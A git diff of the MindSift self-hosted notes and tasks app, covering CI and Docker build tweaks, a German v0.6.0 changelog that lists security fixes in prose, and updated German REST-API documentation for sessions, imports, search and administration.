Compare commits
No files matched your search
@@ -17,3 +17,11 @@ SMTP_USER=
|
|||||||
SMTP_PASS=
|
SMTP_PASS=
|
||||||
SMTP_FROM=noreply@mindsift.local
|
SMTP_FROM=noreply@mindsift.local
|
||||||
SMTP_TLS=true
|
SMTP_TLS=true
|
||||||
|
# Only for internal mail servers with self-signed certificates
|
||||||
|
SMTP_SKIP_VERIFY=false
|
||||||
|
|
||||||
|
# Optional legal notices: external link and/or Markdown (inline or as file path)
|
||||||
|
LEGAL_IMPRINT_URL=
|
||||||
|
LEGAL_PRIVACY_URL=
|
||||||
|
LEGAL_IMPRINT_CONTENT_FILE=
|
||||||
|
LEGAL_PRIVACY_CONTENT_FILE=
|
||||||
@@ -4,6 +4,7 @@ name: MindSift CI & Docker Release
|
|||||||
# push to dev -> :dev
|
# push to dev -> :dev
|
||||||
# push/merge main -> :latest
|
# push/merge main -> :latest
|
||||||
# git tag v1.2.0 -> :v1.2.0 and :stable
|
# git tag v1.2.0 -> :v1.2.0 and :stable
|
||||||
|
# git tag v1.2.0-rc.1 (pre-release) -> :v1.2.0-rc.1 only, :stable stays
|
||||||
on:
|
on:
|
||||||
push:
|
push:
|
||||||
branches:
|
branches:
|
||||||
@@ -39,6 +40,7 @@ jobs:
|
|||||||
|
|
||||||
# All tags of this run (space separated)
|
# All tags of this run (space separated)
|
||||||
case "${GITHUB_REF:-}" in
|
case "${GITHUB_REF:-}" in
|
||||||
|
refs/tags/*-*) TAGS="${DOCKER_TAG}" ;;
|
||||||
refs/tags/*) TAGS="${DOCKER_TAG} stable" ;;
|
refs/tags/*) TAGS="${DOCKER_TAG} stable" ;;
|
||||||
refs/heads/main) TAGS="latest" ;;
|
refs/heads/main) TAGS="latest" ;;
|
||||||
*) TAGS="${DOCKER_TAG}" ;;
|
*) TAGS="${DOCKER_TAG}" ;;
|
||||||
|
|||||||
@@ -0,0 +1,45 @@
|
|||||||
|
# Changelog
|
||||||
|
|
||||||
|
Alle nennenswerten Änderungen an MindSift stehen in dieser Datei.
|
||||||
|
|
||||||
|
Das Format folgt [Keep a Changelog](https://keepachangelog.com/de/1.1.0/), die Versionsnummern folgen ab v0.6.0 [Semantic Versioning](https://semver.org/spec/v2.0.0.html). Solange die Hauptversion 0 ist, können sich API und Datenformate mit jeder Minor-Version ändern; solche Änderungen stehen unter „Changed“ bzw. „Removed“ und sind mit **Achtung** markiert.
|
||||||
|
|
||||||
|
## [Unreleased]
|
||||||
|
|
||||||
|
## [0.6.0] - 2026-10-29
|
||||||
|
|
||||||
|
### Added
|
||||||
|
- Profil → „Aktive Sitzungen“: Liste der angemeldeten Geräte mit letzter Nutzung und „Abmelden“ je Gerät.
|
||||||
|
- API: `GET /auth/sessions`, `DELETE /auth/sessions/{id}`.
|
||||||
|
- Triage: Gibt es genau eine beschreibbare Liste, setzt „Auf ‹Listenname›“ den Gedanken direkt darauf, ohne Auswahl. Nur lesbar geteilte Listen werden beim Erfassen und in der Triage nicht mehr angeboten.
|
||||||
|
|
||||||
|
### Changed
|
||||||
|
- **Achtung:** Nach dem Update sind alle Benutzer einmal abgemeldet (neue Sitzungsverwaltung, die alte Sperrliste `revoked_tokens` entfällt).
|
||||||
|
- **Achtung:** `?token=` in der URL von `/webhooks/ingest` nimmt nur noch API-Keys (`mindsift_sec_…`) an.
|
||||||
|
- **Achtung:** `GET /admin/settings` liefert `smtpPass` nicht mehr; neu ist `smtpPassSet`.
|
||||||
|
- **Achtung:** `PATCH /auth/settings` verlangt für `password` und `email` das Feld `currentPassword`, sonst `403`.
|
||||||
|
- Versionsnummern folgen jetzt Semantic Versioning mit dreiteiligen Tags (`v0.6.0`); die Kopfzeile zeigt die volle Version (`v0.6.0-dev` für Entwicklungsstände). Vorabversionen wie `v1.0.0-rc.1` verschieben das Image `:stable` nicht.
|
||||||
|
- Das Mengenfeld in Listen öffnet auf dem Handy die Zahlentastatur.
|
||||||
|
|
||||||
|
### Fixed
|
||||||
|
- Große Downloads (Backups, Exporte) brachen nach 30 Sekunden ab, große Importe nach 15 Sekunden Upload (FLAW-38).
|
||||||
|
- Der Offline-Start der App funktioniert zuverlässig: Ein altes Script in der Startseite hat bei jedem Aufruf alle Caches des Service Workers gelöscht.
|
||||||
|
|
||||||
|
### Security
|
||||||
|
- Links in Notizen, Aufgaben-Notizen und Impressum öffnen nur noch `http`, `https` und `mailto`; `javascript:` und ähnliche Links erscheinen als Text. Vorher konnte ein Bearbeiter einer geteilten Aufgabenliste über einen präparierten Link Code im Browser anderer ausführen (FLAW-28).
|
||||||
|
- Sicherheits-Header für alle Antworten: Content-Security-Policy (Scripts nur von MindSift selbst, keine Einbettung in fremde Seiten), `X-Frame-Options`, `X-Content-Type-Options`, `Referrer-Policy`, `Permissions-Policy` (FLAW-29).
|
||||||
|
- Passwort und Login-E-Mail lassen sich nur noch mit dem aktuellen Passwort ändern; die bisherige Adresse bekommt eine Hinweismail, wenn SMTP eingerichtet ist (FLAW-30).
|
||||||
|
- Anmeldungen sind serverseitige Sitzungen: Jedes Gerät lässt sich einzeln abmelden, unbenutzte Sitzungen enden nach 30 Tagen, aktive werden täglich erneuert. Ein neues Passwort meldet alle anderen Geräte ab (FLAW-31).
|
||||||
|
- IDs neuer Datensätze haben 96 statt 40 Zufallsbits, Einladungscodes eigene 100 Bit (`INV-ABCDE-FGHIJ-KLMNO-PQRST`); vorhandene IDs und Codes bleiben gültig (FLAW-32).
|
||||||
|
- Registrierung und „Passwort vergessen“ sind pro Adresse begrenzt (20 bzw. 10 Anfragen in 15 Minuten), Einladungscodes lassen sich so nicht durchprobieren (FLAW-39).
|
||||||
|
- Ein Einladungscode lässt sich auch bei gleichzeitigen Registrierungen nur einmal einlösen (FLAW-40).
|
||||||
|
- Öffentliche Demo: verschickt nichts mehr (Alarme, Testalarme, SMTP-Test, Hinweismails), Server-Einstellungen sind schreibgeschützt, Passwort, E-Mail, Sitzungen und Konten der gemeinsamen Demo-Konten lassen sich nicht ändern; die Sitzungsliste zeigt nur das eigene Gerät (FLAW-33).
|
||||||
|
- Das SMTP-Passwort wird nie mehr an den Browser geschickt; leer lassen behält das gespeicherte (FLAW-34).
|
||||||
|
- `?token=` beim Webhook-Ingest nimmt nur noch API-Keys an, keine Sitzungs-Tokens (FLAW-35).
|
||||||
|
- Anfragekörper sind auf 2 MB begrenzt, Notiz-Sync auf 8 MB, Importe auf 101 MB (FLAW-36).
|
||||||
|
- Konto löschen entfernt auch die Server-Backups des Kontos (FLAW-37).
|
||||||
|
|
||||||
|
<!-- Ältere Versionen (bis v0.5.2) werden aus der Git-Historie nachgetragen. -->
|
||||||
|
|
||||||
|
[Unreleased]: https://git.dsit.me/sandrodach/MindSift/compare/v0.6.0...dev
|
||||||
|
[0.6.0]: https://git.dsit.me/sandrodach/MindSift/compare/v0.5.2...v0.6.0
|
||||||
@@ -8,7 +8,7 @@ RUN npm install --no-audit --no-fund
|
|||||||
COPY frontend/ ./
|
COPY frontend/ ./
|
||||||
# Version shown in the header: the git tag for releases (set by CI), otherwise "<package version>-dev"
|
# Version shown in the header: the git tag for releases (set by CI), otherwise "<package version>-dev"
|
||||||
ARG APP_VERSION=""
|
ARG APP_VERSION=""
|
||||||
RUN npx tsc --noEmit && npm run test:run && APP_VERSION="${APP_VERSION}" npm run build
|
RUN npx tsc --noEmit && npm run lint && npm run test:run && APP_VERSION="${APP_VERSION}" npm run build
|
||||||
|
|
||||||
# ==============================================================================
|
# ==============================================================================
|
||||||
# Stage 2: Go Backend Lint, Unit Tests & Binary Build (Cached Go module & sqlite layer)
|
# Stage 2: Go Backend Lint, Unit Tests & Binary Build (Cached Go module & sqlite layer)
|
||||||
@@ -36,7 +36,6 @@ RUN go get github.com/go-chi/chi/v5@v5.2.0 \
|
|||||||
# Copy application source & compiled frontend SPA assets for go:embed
|
# Copy application source & compiled frontend SPA assets for go:embed
|
||||||
COPY cmd/ ./cmd/
|
COPY cmd/ ./cmd/
|
||||||
COPY internal/ ./internal/
|
COPY internal/ ./internal/
|
||||||
COPY migrations/ ./migrations/
|
|
||||||
COPY --from=frontend-builder /app/frontend/dist ./cmd/server/dist
|
COPY --from=frontend-builder /app/frontend/dist ./cmd/server/dist
|
||||||
|
|
||||||
# Run go mod tidy, static analysis (go vet), unit tests (go test), and compile final binary
|
# Run go mod tidy, static analysis (go vet), unit tests (go test), and compile final binary
|
||||||
|
|||||||
@@ -18,6 +18,7 @@ Referenz für Entwickler und Administratoren. Alle Angaben wurden gegen den Code
|
|||||||
| [sharing-and-permissions.md](sharing-and-permissions.md) | Rollen, Gruppen, Freigaben |
|
| [sharing-and-permissions.md](sharing-and-permissions.md) | Rollen, Gruppen, Freigaben |
|
||||||
| [reverse-proxy.md](reverse-proxy.md) | Nginx, Traefik, Caddy, Cloudflare |
|
| [reverse-proxy.md](reverse-proxy.md) | Nginx, Traefik, Caddy, Cloudflare |
|
||||||
| [theming.md](theming.md) | Themes und Design-Variablen |
|
| [theming.md](theming.md) | Themes und Design-Variablen |
|
||||||
|
| [ui-patterns.md](ui-patterns.md) | Einheitliche Bedienelemente: Personensuche, Profilbild-Stapel, Zähler |
|
||||||
| [flaws.md](flaws.md) | Bekannte Schwachstellen und technische Schulden |
|
| [flaws.md](flaws.md) | Bekannte Schwachstellen und technische Schulden |
|
||||||
|
|
||||||
## Überblick in 60 Sekunden
|
## Überblick in 60 Sekunden
|
||||||
@@ -26,7 +27,7 @@ Referenz für Entwickler und Administratoren. Alle Angaben wurden gegen den Code
|
|||||||
- **Datenhaltung:** vollständig in SQLite. Es gibt keine `.md`-Dateien auf der Platte; Markdown wird bei Bedarf aus den Blöcken erzeugt (`documents.markdown_cache`, Export als `.md`).
|
- **Datenhaltung:** vollständig in SQLite. Es gibt keine `.md`-Dateien auf der Platte; Markdown wird bei Bedarf aus den Blöcken erzeugt (`documents.markdown_cache`, Export als `.md`).
|
||||||
- **Echtzeit:** ein Hub mit Räumen und Benutzer-Kanälen (WebSocket, SSE als Ersatz). Verteilt werden Ereignisse nach Änderungen.
|
- **Echtzeit:** ein Hub mit Räumen und Benutzer-Kanälen (WebSocket, SSE als Ersatz). Verteilt werden Ereignisse nach Änderungen.
|
||||||
- **Notizen gemeinsam bearbeiten:** server-autoritatives Operations-Log mit Versionen und Sperren pro Bullet, Konfliktkopien statt Überschreiben, Offline-Warteschlange in IndexedDB, Abgleich auch hinter restriktiven Proxys ([modules/collaboration.md](modules/collaboration.md)).
|
- **Notizen gemeinsam bearbeiten:** server-autoritatives Operations-Log mit Versionen und Sperren pro Bullet, Konfliktkopien statt Überschreiben, Offline-Warteschlange in IndexedDB, Abgleich auch hinter restriktiven Proxys ([modules/collaboration.md](modules/collaboration.md)).
|
||||||
- **Auth:** JWT (HS256, 30 Tage) mit `token_version` und Sperrliste, dazu API-Keys (`mindsift_sec_…`) für Webhooks.
|
- **Auth:** JWT (HS256) mit serverseitiger Sitzung (`sessions`, gleitend 30 Tage) und `token_version`, dazu API-Keys (`mindsift_sec_…`) für Webhooks.
|
||||||
- **Freigaben:** Aufgabenlisten, geteilte Listen, Notizen und Ordner jeweils mit Rolle Bearbeiter oder Leser.
|
- **Freigaben:** Aufgabenlisten, geteilte Listen, Notizen und Ordner jeweils mit Rolle Bearbeiter oder Leser.
|
||||||
|
|
||||||
## Entwickeln
|
## Entwickeln
|
||||||
|
|||||||
@@ -1,20 +1,24 @@
|
|||||||
# REST-API
|
# REST-API
|
||||||
|
|
||||||
Basis: `/api/v1`. Antworten sind JSON; Fehler haben die Form `{"error": "Text"}`. Authentifizierung über `Authorization: Bearer <JWT>` oder `Bearer mindsift_sec_…` bzw. Header `X-API-Key`. Zeitstempel sind ISO-8601 (UTC). Quelle der Wahrheit sind die Routen in [server.go](../../internal/api/server.go).
|
Basis: `/api/v1`. Antworten sind JSON; Fehler haben die Form `{"error": "Text"}`. Authentifizierung über `Authorization: Bearer <JWT>`. **API-Keys** (`Bearer mindsift_sec_…` bzw. Header `X-API-Key`) liefern nur Daten ein, über `POST /inbox` und `POST /webhooks/ingest`, und nur für die Ziele ihrer Scopes: `webhook:triage` (Inbox), `webhook:task` (Aufgaben), `webhook:list` (Listeneinträge). Alles andere, auch Live-Streams, antwortet mit `403` bzw. `401`. Zeitstempel sind ISO-8601 (UTC). Anfragekörper sind auf 2 MB begrenzt (Notiz-Sync 8 MB, Importe 101 MB). Im Demo-Modus antworten Endpunkte, die etwas verschicken, Server-Einstellungen ändern oder die gemeinsamen Demo-Konten verändern würden, mit `403` „In der Demo deaktiviert“. Quelle der Wahrheit sind die Routen in [server.go](../../internal/api/server.go).
|
||||||
|
|
||||||
## Öffentlich
|
## Öffentlich
|
||||||
|
|
||||||
| Methode | Pfad | Zweck |
|
| Methode | Pfad | Zweck |
|
||||||
|---|---|---|
|
|---|---|---|
|
||||||
| GET | `/health` | Lebenszeichen |
|
| GET | `/health` | Lebenszeichen |
|
||||||
| GET | `/auth/status` | `needsSetup`, `allowRegistration`, `instanceName`, `demoMode` |
|
| GET | `/auth/status` | `needsSetup`, `allowRegistration`, `instanceName`, `demoMode`, `sharingMode`, `legal` (`imprintUrl`, `hasImprintContent`, `privacyUrl`, `hasPrivacyContent`) |
|
||||||
|
| GET | `/legal/{imprint\|privacy}` | Hinterlegter Markdown-Text (`content`), ohne Anmeldung; `404`, wenn keiner gesetzt ist |
|
||||||
| POST | `/auth/setup` | Erstes Administratorkonto (`email`, `password`, `displayName`, `instanceName`, `allowRegistration`, `sharingMode`, `seedSampleData`); nur solange es keine Konten gibt |
|
| POST | `/auth/setup` | Erstes Administratorkonto (`email`, `password`, `displayName`, `instanceName`, `allowRegistration`, `sharingMode`, `seedSampleData`); nur solange es keine Konten gibt |
|
||||||
| POST | `/auth/register` | Registrierung (`email`, `password`, `displayName`, `inviteCode`); nur mit Code oder wenn freigegeben |
|
| POST | `/auth/register` | Registrierung (`email`, `password`, `displayName`, `inviteCode`); nur mit Code oder wenn freigegeben; `429` nach 20 Versuchen pro Adresse in 15 Minuten |
|
||||||
| POST | `/auth/login` | Anmeldung (`login`/`email`/`username`, `password`) → `{token, user}` |
|
| POST | `/auth/login` | Anmeldung (`login`/`email`/`username`, `password`) → `{token, user}` |
|
||||||
|
| POST | `/auth/forgot-password` | `{email}` → immer `{ok: true}`; Mail mit Link nur, wenn das Konto existiert. `503`, wenn SMTP oder `BASE_URL` fehlen; `429` nach 10 Anfragen pro Adresse in 15 Minuten |
|
||||||
|
| POST | `/auth/reset-password` | `{token, password}` (mind. 8 Zeichen) → neues Passwort, alle Sitzungen beendet; `400` bei ungültigem oder abgelaufenem Link |
|
||||||
| POST | `/auth/quickstart` | Immer `403` (Gastzugang deaktiviert) |
|
| POST | `/auth/quickstart` | Immer `403` (Gastzugang deaktiviert) |
|
||||||
| POST | `/webhooks/ingest` | Aufgabe per Webhook anlegen, Token als `?token=`, `X-API-Key` oder Bearer. Body: `title`/`content`/`text`/`message`, `priority`, `source`, `tags`, `dueDate`; Klartext-Body wird als Inhalt genommen |
|
| POST | `/webhooks/ingest` | Einliefern per Webhook, Key als `X-API-Key` (empfohlen), Bearer oder `?token=` (in der URL nur API-Keys, keine Sitzungs-Tokens). Body: `title`/`content`/`text`/`message`, `priority`, `source`, `tags`, `dueDate`; `target` (oder `type`): `triage` (Standard, Inbox), `task` (optional `taskListId`), `list_item` (`listId`, `category`, `quantity`). Klartext-Body wird als Inhalt genommen. `403` ohne passenden Scope oder ohne Schreibrecht auf die Liste |
|
||||||
| GET | `/ws`, `/ws/spaces/{id}`, `/ws/lists/{id}` | WebSocket, siehe [websocket.md](websocket.md); Token als `?token=` nötig |
|
| POST | `/auth/stream-ticket` | Einmal-Ticket (60 s) für WebSocket/SSE |
|
||||||
| GET | `/events` | SSE-Fallback; Token als `?token=` nötig |
|
| GET | `/ws`, `/ws/spaces/{id}`, `/ws/lists/{id}` | WebSocket, siehe [websocket.md](websocket.md); `?ticket=` oder `Authorization`-Header |
|
||||||
|
| GET | `/events` | SSE-Fallback; `?ticket=` oder `Authorization`-Header |
|
||||||
|
|
||||||
## Konto und Allgemeines (angemeldet)
|
## Konto und Allgemeines (angemeldet)
|
||||||
|
|
||||||
@@ -22,15 +26,51 @@ Basis: `/api/v1`. Antworten sind JSON; Fehler haben die Form `{"error": "Text"}`
|
|||||||
|---|---|---|
|
|---|---|---|
|
||||||
| GET | `/auth/me` | Benutzer und Kennzahlen |
|
| GET | `/auth/me` | Benutzer und Kennzahlen |
|
||||||
| POST | `/events/rooms` | SSE-Raum beitreten/verlassen (`sseId`, `room`, `action`); nur eigene `sseId`, nur Räume mit Lesezugriff |
|
| POST | `/events/rooms` | SSE-Raum beitreten/verlassen (`sseId`, `room`, `action`); nur eigene `sseId`, nur Räume mit Lesezugriff |
|
||||||
| POST | `/auth/logout` | Token sperren |
|
| POST | `/auth/logout` | Sitzung dieses Geräts beenden |
|
||||||
|
| GET | `/auth/sessions` | Angemeldete Geräte: `[{id, createdAt, lastUsedAt, userAgent, ip, current}]` |
|
||||||
|
| DELETE | `/auth/sessions/{id}` | Ein Gerät abmelden; `404` bei fremder oder unbekannter Sitzung |
|
||||||
| POST | `/auth/revoke-all` | Alle Sitzungen beenden (`token_version` +1) |
|
| POST | `/auth/revoke-all` | Alle Sitzungen beenden (`token_version` +1) |
|
||||||
| PATCH | `/auth/settings` | `displayName`, `email`, `password`, `avatarUrl`, `alarmChannels`, `alarmEmail`, `discordWebhookUrl`, `customWebhookUrl`, `notifyBeforeMinutes` |
|
| PATCH | `/auth/settings` | `displayName`, `email`, `password`, `avatarUrl`, `alarmChannels`, `alarmEmail`, `discordWebhookUrl`, `customWebhookUrl`, `notifyBeforeMinutes`. Neue `email` oder `password` nur mit `currentPassword` (`403` bei falschem, `429` bei Login-Sperre); nach neuem Passwort sind andere Geräte abgemeldet, das neue Token kommt im Header `X-Session-Token` |
|
||||||
| POST | `/auth/alarms/test` | Test-Alarm (`channel`: `email`/`discord`/`webhook`, optional `target`) |
|
| POST | `/auth/alarms/test` | Test-Alarm (`channel`: `email`/`discord`/`webhook`, optional `target`) |
|
||||||
| GET | `/users/directory`, `/collaborators` | Benutzerverzeichnis für Freigaben ([FLAW-10](../flaws.md)) |
|
| GET | `/users/directory`, `/collaborators` | Personen, die man sehen und mit denen man teilen kann (je nach `sharingMode`, [sharing-and-permissions.md](../sharing-and-permissions.md)) |
|
||||||
| GET | `/stats` | Zähler fürs Dashboard |
|
| GET | `/stats` | Zähler fürs Dashboard (u. a. `inboxCount`, `tasksOpenCount`, `listItemsOpenCount` = offene Einträge aller sichtbaren Listen) |
|
||||||
| GET | `/search?q=` | Suche in eigenen Gedanken und Notizen |
|
| GET | `/search?q=` | Globale FTS5-Suche in zugänglichen Notizen (Titel & Blöcke), Aufgaben und Listen → `{thoughts, documents, listItems, hits}` |
|
||||||
| GET | `/export` | Datenexport als JSON |
|
| GET | `/export` | Datenexport als JSON; mit `?format=zip` dieselben Daten als `mindsift-backup.json` in einer ZIP (so lädt die Oberfläche das Backup) |
|
||||||
| GET/POST/DELETE | `/keys`, `/keys/{id}` | API-Keys verwalten (Klartext nur bei Erstellung) |
|
| GET | `/export/markdown` | Obsidian-kompatibles ZIP (`mindsift-vault-DATUM.zip`), direkt gestreamt: Notizen als `.md` mit YAML-Frontmatter in der Ordnerstruktur des Nutzers (inkl. geteilter), `Aufgaben/<Liste>.md` im Format des Tasks-Plugins (`📅`, `⏫`/`🔺`), `Listen/<Liste>.md` |
|
||||||
|
| GET/POST | `/themes` | Eigene CSS-Themes; anlegen oder mit `id` ändern (`name`, `css`, max. 200 KB) |
|
||||||
|
| DELETE | `/themes/{id}` | Eigenes Theme löschen |
|
||||||
|
| POST | `/import/mindsift`, `/import/obsidian` | Import (Multipart-Feld `file`, max. 100 MB): MindSift-JSON/-Archiv bzw. Obsidian-Vault-ZIP; `?preview=1` liefert nur die Zusammenfassung (`folders`, `notes`, `taskLists`, `tasks`, `lists`, `listItems`, `inbox`, `skipped`) |
|
||||||
|
| — | `/import/mindsift?mode=restore` | Wiederherstellen: löscht vor dem Import alle eigenen Notizen, Ordner, Aufgaben, Gedanken und Listen (erst nachdem die Datei vollständig gelesen und geprüft ist) |
|
||||||
|
| DELETE | `/user/data` | Alle eigenen Daten löschen, Konto bleibt (`{"password"}` nötig) |
|
||||||
|
| DELETE | `/user/account` | Eigenes Konto mit allen Daten löschen (`{"password"}` nötig); `403` für den letzten Server-Admin. `/auth/me` liefert dafür `isLastAdmin` |
|
||||||
|
| GET | `/backups`, `/backups/{name}` | Eigene automatische Server-Backups auflisten bzw. herunterladen |
|
||||||
|
| POST | `/backups/{name}/restore` | Server-Backup einspielen: `mode=merge` oder `restore` (gewählte Bereiche vorher leeren), `sections=notes,tasks,lists,inbox,themes`, `preview=1` |
|
||||||
|
| GET/POST/DELETE | `/keys`, `/keys/{id}` | API-Keys verwalten (Klartext nur bei Erstellung); `POST` mit `name` und `scopes` (Standard `["webhook:triage"]`) |
|
||||||
|
|
||||||
|
### Globale Suche (`GET /api/v1/search?q=`)
|
||||||
|
|
||||||
|
Führt eine Volltextsuche über SQLite FTS5 mit BM25-Relevanz-Ranking aus.
|
||||||
|
- Durchsucht Aufgaben/Gedanken (Inhalt, Notizen, Unteraufgaben), Notizen (Titel sowie Inhalte aktiver Blöcke) und Listeneinträge.
|
||||||
|
- Beachtet strikt alle Zugriffsregeln: Nur eigene Gedanken/Aufgaben und solche in zugänglichen Aufgabenlisten; nur eigene und geteilte Notizen (direkt, über Gruppen oder freigegebene Ordner); nur eigene und geteilte Listen.
|
||||||
|
- Titel-Treffer werden höher gewichtet als Treffer im Fließtext.
|
||||||
|
- Liefert rückwärtskompatible Collections (`thoughts`, `documents`, `listItems`) sowie strukturierte `hits` mit Snippet und `<mark>`-Hervorhebung:
|
||||||
|
```json
|
||||||
|
{
|
||||||
|
"thoughts": [...],
|
||||||
|
"documents": [...],
|
||||||
|
"listItems": [...],
|
||||||
|
"hits": [
|
||||||
|
{
|
||||||
|
"type": "document",
|
||||||
|
"id": "blk_123",
|
||||||
|
"title": "Projektplanung",
|
||||||
|
"snippet": "... wichtige Notiz zum <mark>Release</mark> ...",
|
||||||
|
"docId": "doc_abc",
|
||||||
|
"blockId": "blk_123"
|
||||||
|
}
|
||||||
|
]
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
## Gedanken, Triage, Aufgaben
|
## Gedanken, Triage, Aufgaben
|
||||||
|
|
||||||
@@ -38,7 +78,7 @@ Basis: `/api/v1`. Antworten sind JSON; Fehler haben die Form `{"error": "Text"}`
|
|||||||
|---|---|---|
|
|---|---|---|
|
||||||
| POST | `/inbox` | Schnellerfassung. Body: `content`, `priority`, `source`, `dueDate`, `target` (`inbox`/`task`/`list_item`/`document`), `targetListId`, `taskListId` (snake_case-Varianten werden akzeptiert) |
|
| POST | `/inbox` | Schnellerfassung. Body: `content`, `priority`, `source`, `dueDate`, `target` (`inbox`/`task`/`list_item`/`document`), `targetListId`, `taskListId` (snake_case-Varianten werden akzeptiert) |
|
||||||
| GET | `/thoughts?status=` | Gedanken (`inbox`, `kept`, `converted`, `discarded`, `all`) |
|
| GET | `/thoughts?status=` | Gedanken (`inbox`, `kept`, `converted`, `discarded`, `all`) |
|
||||||
| GET/PATCH/DELETE | `/thoughts/{id}` | Einzelabruf; Teiländerung (`content`, `isCompleted`, `dueDate`, `priority`, `taskListId`, `kanbanStatus`, `notes`, `subtasks`, `tags`); Löschen |
|
| GET/PATCH/DELETE | `/thoughts/{id}` | Einzelabruf; Teiländerung (`content`, `isCompleted`, `dueDate`, `priority`, `taskListId`, `kanbanStatus`, `notes`, `subtasks`, `tags`, `assignees`, `recurrence` = `daily`/`weekly`/`monthly`/`yearly`/leer); Löschen. `assignees` ersetzt die Zuweisungen; nur Personen mit Zugriff auf die Liste, sonst `403` |
|
||||||
| DELETE | `/thoughts/discarded/purge` | Papierkorb leeren |
|
| DELETE | `/thoughts/discarded/purge` | Papierkorb leeren |
|
||||||
| GET | `/triage/deck` | Posteingang (max. 100) |
|
| GET | `/triage/deck` | Posteingang (max. 100) |
|
||||||
| PATCH | `/triage/{id}` | `action`: `keep`/`discard`/`restore`; mit `convertTo`: `task`/`document`/`list_item` |
|
| PATCH | `/triage/{id}` | `action`: `keep`/`discard`/`restore`; mit `convertTo`: `task`/`document`/`list_item` |
|
||||||
@@ -71,7 +111,11 @@ Schreibzugriffe von Lesern auf Listen oder deren Aufgaben liefern `403` („Kein
|
|||||||
| GET | `/workspace/tags`, `/workspace/tags/{tag}` | Tag-Übersicht und -Details |
|
| GET | `/workspace/tags`, `/workspace/tags/{tag}` | Tag-Übersicht und -Details |
|
||||||
| PUT | `/workspace/tags/{tag}/note` | Tag-Seite speichern (`content`) |
|
| PUT | `/workspace/tags/{tag}/note` | Tag-Seite speichern (`content`) |
|
||||||
| GET/POST | `/documents` | Notizen auflisten; anlegen (`title`, `icon`, `folderPath`, `blocks`, `tags`, `isPinned`) |
|
| GET/POST | `/documents` | Notizen auflisten; anlegen (`title`, `icon`, `folderPath`, `blocks`, `tags`, `isPinned`) |
|
||||||
| GET/PUT/DELETE | `/documents/{id}` | Abruf; Ändern von `title`, `icon`, `folderPath`, `isPinned` (Blöcke → `400`, sie laufen über `/docs/{id}/sync`); Löschen |
|
| GET/PUT/DELETE | `/documents/{id}` | Abruf; Ändern von `title`, `icon`, `folderPath`, `isPinned` (Blöcke → `400`, sie laufen über `/docs/{id}/sync`); Löschen = in den Papierkorb (Eigentümer) bzw. Freigabe verlassen (andere) |
|
||||||
|
| GET/DELETE | `/documents/trash` | Papierkorb auflisten (`id`, `title`, `icon`, `folderPath`, `deletedAt`, `isOwner`) bzw. leeren |
|
||||||
|
| GET | `/documents/{id}/backlinks` | Notizen mit `[[Titel]]`-Link auf diese Notiz (nur sichtbare, ohne Papierkorb): `docId`, `title`, `icon`, `folderPath`, bis zu 5 `blocks` (`id`, `content`), `more` |
|
||||||
|
| POST | `/documents/{id}/restore` | Aus dem Papierkorb zurückholen (fehlender Ordner wird neu angelegt) |
|
||||||
|
| DELETE | `/documents/{id}/permanent` | Notiz im Papierkorb endgültig löschen |
|
||||||
| PUT | `/documents/{id}/move` | Ordner wechseln (`folderPath`) |
|
| PUT | `/documents/{id}/move` | Ordner wechseln (`folderPath`) |
|
||||||
| POST | `/documents/{id}/blocks/{blockId}/enhanced-task` | Aus einem Block eine verknüpfte Aufgabe machen (`content`, `checked`) |
|
| POST | `/documents/{id}/blocks/{blockId}/enhanced-task` | Aus einem Block eine verknüpfte Aufgabe machen (`content`, `checked`) |
|
||||||
| GET/POST/DELETE | `/documents/{id}/shares[/{userId}]` | Notiz-Freigaben (`userId`/`email`/`teamId`, `permission`: `read`/`write`) |
|
| GET/POST/DELETE | `/documents/{id}/shares[/{userId}]` | Notiz-Freigaben (`userId`/`email`/`teamId`, `permission`: `read`/`write`) |
|
||||||
@@ -130,22 +174,27 @@ Wiederholte Operationen (gleiche `opId`) werden nicht erneut angewendet; die Ant
|
|||||||
|
|
||||||
| Methode | Pfad | Zweck |
|
| Methode | Pfad | Zweck |
|
||||||
|---|---|---|
|
|---|---|---|
|
||||||
| GET/POST | `/teams` | Eigene Gruppen; anlegen (`name`, `description`) – Ersteller wird Gruppen-Admin |
|
| GET/POST | `/teams` | Eigene Gruppen; anlegen (`name`, `description`) – Ersteller wird Gruppen-Admin, die Gruppe gehört zu seiner Organisation; im Modus `private` gesperrt |
|
||||||
| PUT/DELETE | `/teams/{id}` | Nur Gruppen-Admin |
|
| PUT/DELETE | `/teams/{id}` | Nur Gruppen-Admin |
|
||||||
| POST | `/teams/{id}/members` | Mitglied hinzufügen (`userId` oder `email`, `role`) |
|
| POST | `/teams/{id}/members` | Mitglied hinzufügen (`userId` oder `email`, `role`); nur sichtbare Personen, sonst `404` |
|
||||||
| PUT/DELETE | `/teams/{id}/members/{userId}` | Rolle ändern (`admin`/`member`); entfernen |
|
| PUT/DELETE | `/teams/{id}/members/{userId}` | Rolle ändern (`admin`/`member`); entfernen |
|
||||||
| GET/POST/DELETE | `/organizations`, `/organizations/{id}[/teams]` | Veraltet, ungeschützt ([FLAW-24](../flaws.md)) |
|
|
||||||
|
|
||||||
## Administration (`role = admin`)
|
## Administration (`role = admin`)
|
||||||
|
|
||||||
| Methode | Pfad | Zweck |
|
| Methode | Pfad | Zweck |
|
||||||
|---|---|---|
|
|---|---|---|
|
||||||
| GET/POST | `/admin/users` | Benutzer auflisten, anlegen (`email`, `password`, `displayName`, `role`) |
|
| GET/POST | `/admin/users` | Benutzer auflisten, anlegen (`email`, `password`, `displayName`, `role`, optional `organizationId`) |
|
||||||
|
| PUT | `/admin/users/{id}/organization` | Organisation setzen (`organizationId`, leer = keine); entzieht Freigaben, Gruppen und Zuweisungen der alten |
|
||||||
|
| GET/POST | `/admin/organizations` | Organisationen mit `memberCount`; anlegen (`name`) |
|
||||||
|
| PUT/DELETE | `/admin/organizations/{id}` | Umbenennen (`name`); löschen (Mitglieder sind danach ohne Organisation) |
|
||||||
| PATCH/DELETE | `/admin/users/{id}` | `displayName`, `email`, `role`, `isActive`, `discordWebhookUrl`; löschen |
|
| PATCH/DELETE | `/admin/users/{id}` | `displayName`, `email`, `role`, `isActive`, `discordWebhookUrl`; löschen |
|
||||||
| PUT | `/admin/users/{id}/password` | Passwort zurücksetzen |
|
| PUT | `/admin/users/{id}/password` | Passwort zurücksetzen |
|
||||||
| GET/POST/DELETE | `/admin/invites[/{id}]` | Einladungen (`email`, `role`, `teamId`, `validDays`) |
|
| GET/POST/DELETE | `/admin/invites[/{id}]` | Einladungen (`email`, `role`, `organizationId`, `validDays`) |
|
||||||
